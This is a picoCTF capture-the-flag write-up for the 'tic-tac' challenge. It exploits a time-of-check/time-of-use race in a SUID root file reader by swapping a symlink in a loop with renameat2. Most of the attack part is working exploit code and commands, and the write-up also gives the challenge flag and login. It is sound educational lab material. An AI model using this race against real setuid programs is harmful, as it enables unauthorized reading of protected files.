tic-tac
Overview
- Overall difficulty for me (From 1-10 stars): ★★★☆☆☆☆☆☆☆
Background
Author: Junias Bonou
Description
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it. ssh
to saturn.picoctf.net:56275
, and run the binary named “txtreader” once connected. Login as ctf-player
with the password, 483e80d4
Find the flag
In this challenge, we can SSH into the instance machine:
┌[siunam♥earth]-(~/ctf/picoCTF-2023)-[2023.03.28|22:15:45(HKT)]
└> ssh -p 56275 ctf-player@saturn.picoctf.net
[...]
ctf-player@saturn.picoctf.net's password:
[...]
ctf-player@pico-chall$ ls -lah
total 32K
drwxr-xr-x 1 ctf-player ctf-player 20 Mar 28 14:15 .
drwxr-xr-x 1 root root 24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player 34 Mar 28 14:15 .cache
-rw-r--r-- 1 root root 67 Mar 16 02:28 .profile
-rw------- 1 root root 32 Mar 16 02:28 flag.txt
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root root 19K Mar 16 02:28 txtreader
Right off the bat, we see 3 files in the ctf-player
home directory: flag.txt
, src.cpp
, txtreader
.
The txtreader
executable has a SUID sticky bit, which will run the executable as the owner (root
).
src.cpp
:
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
This C++ source code is the compiled txtreader
executable.
In this source code, we can see something really interesting:
std::string filename = argv[1];
std::ifstream file(filename);
[...]
// Check the file's status information.
[...]
// Check the file's owner.
[...]
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
As you can see, it first open the file, then check the file’s status information and owner.
If all checks are passed, then we can read the given file.
Hmm… I can smell some race condition!
After poking around, I found LiveOverflow’s video about “file path race condition” , which is very helpful for us.
In that video, he talks about we can:
- Create a symbolic (symlink) file to read files that don’t belong to us
Also, he mentioned about the logrotate exploit’s rename.c
:
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
This C code will exchange 2 files that we given in an infinite loop.
Armed with above information, we can create a symlink file and a dummy file:
ctf-player@pico-chall$ ln -s flag.txt fakeflag.txt
ctf-player@pico-chall$ touch raceme.txt
ctf-player@pico-chall$ ls -lah
[...]
lrwxrwxrwx 1 ctf-player ctf-player 8 Mar 28 14:25 fakeflag.txt -> flag.txt
[...]
-rw-rw-r-- 1 ctf-player ctf-player 0 Mar 28 14:25 raceme.txt
[...]
Then, copy and paste the rename.c
code and compile it:
ctf-player@pico-chall$ nano rename.c
ctf-player@pico-chall$ gcc rename.c -o rename
Next, run rename
executable with file fakeflag.txt
and raceme.txt
, throw that into background via &
:
ctf-player@pico-chall$ ./rename fakeflag.txt raceme.txt &
[1] 63
This will constantly exchanging our symlink fakeflag.txt
and raceme.txt
:
-rw-rw-r-- 1 ctf-player ctf-player 0 Mar 28 14:25 fakeflag.txt
lrwxrwxrwx 1 ctf-player ctf-player 8 Mar 28 14:25 raceme.txt -> flag.txt
In here, the exchange is so fast, that the raceme.txt
is symlink to flag.txt
!!
With that said, we can run txtreader fakeflag.txt
to read the flag!
ctf-player@pico-chall$ ./txtreader fakeflag.txt
Error: you don't own this file
ctf-player@pico-chall$ ./txtreader fakeflag.txt
Error: you don't own this file
ctf-player@pico-chall$ ./txtreader fakeflag.txt
picoCTF{ToctoU_!s_3a5y_2075872e}
Nice!!!
- Flag:
picoCTF{ToctoU_!s_3a5y_2075872e}
Conclusion
What we’ve learned:
- File Path Race Condition